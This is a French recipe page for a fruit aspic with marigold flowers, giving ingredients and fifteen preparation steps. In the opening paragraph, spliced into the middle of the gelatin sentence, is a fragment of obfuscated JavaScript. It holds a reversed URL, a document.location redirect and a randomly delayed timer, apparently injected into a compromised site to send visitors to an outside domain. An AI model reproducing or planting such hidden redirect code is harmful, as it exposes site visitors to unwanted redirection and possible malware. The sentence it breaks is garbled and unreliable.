Aspic de fruits aux fleurs de soucis

2021-05-05

Portez à ébullition l’eau et le sucre ajoutez la badiane. Retirez des feu et faites infuser pendant 30 minutes. Faites tremper la gélatine dans l’eau froide pendant 20 minutes l’incorporez dans le sirop tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en mélangeant, et faites refroidir.

Ingrédients

  • Pour 4 personnes
  • 200 g de fraises
  • 1 melon d’Israël
  • 50 cl d’eau
  • 150 g de sucre
  • 1 fleur de badiane
  • 8 feuilles de gélatine
  • une barquette de fleurs de soucis
  • 100 g de fraises
  • ½ citron

Préparation de la recette

Etape 1

Portez à ébullition l’eau et le sucre ajoutez la badiane.

Etape 2

Retirez des feu et faites infuser pendant 30 minutes.

Etape 3

Faites tremper la gélatine dans l’eau froide pendant 20 minutes l’incorporez dans le sirop tout en mélangeant, et faites refroidir.

Etape 4

Préparez les fruits

Etape 5

200 g de fraises

Etape 6

1 melon

Etape 7

Rincez, équeutez les fraises.

Etape 8

Coupez la chair de melon en petits cubes.

Etape 9

Arrosez d'un jus de citron.

Etape 10

Mixez. Versez dans 4 verres au frais.

Etape 11

Versez un peu de gelée et laissez prendre.

Etape 12

Déposez les pétales de fleur, et les fruits.

Etape 13

Déposez au frais pendant 2 heures.

Etape 14

Démoulez, en passant les verres sous l’eau chaude.

Etape 15

Décorez de fleurs et nappez de coulis

Catégories : , Ingrédients principaux : , , , , ,
Note des membres

(0 / 5)

0 5 0
Notez cette recette

0 personne(s) ont noté cette recette

Related Recipes:
  • Pizza aux fruits d'été

    Pizza aux fruits d’été

  • Gratin de potiron

    Gratin de potiron

  • Dip avocat thon

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *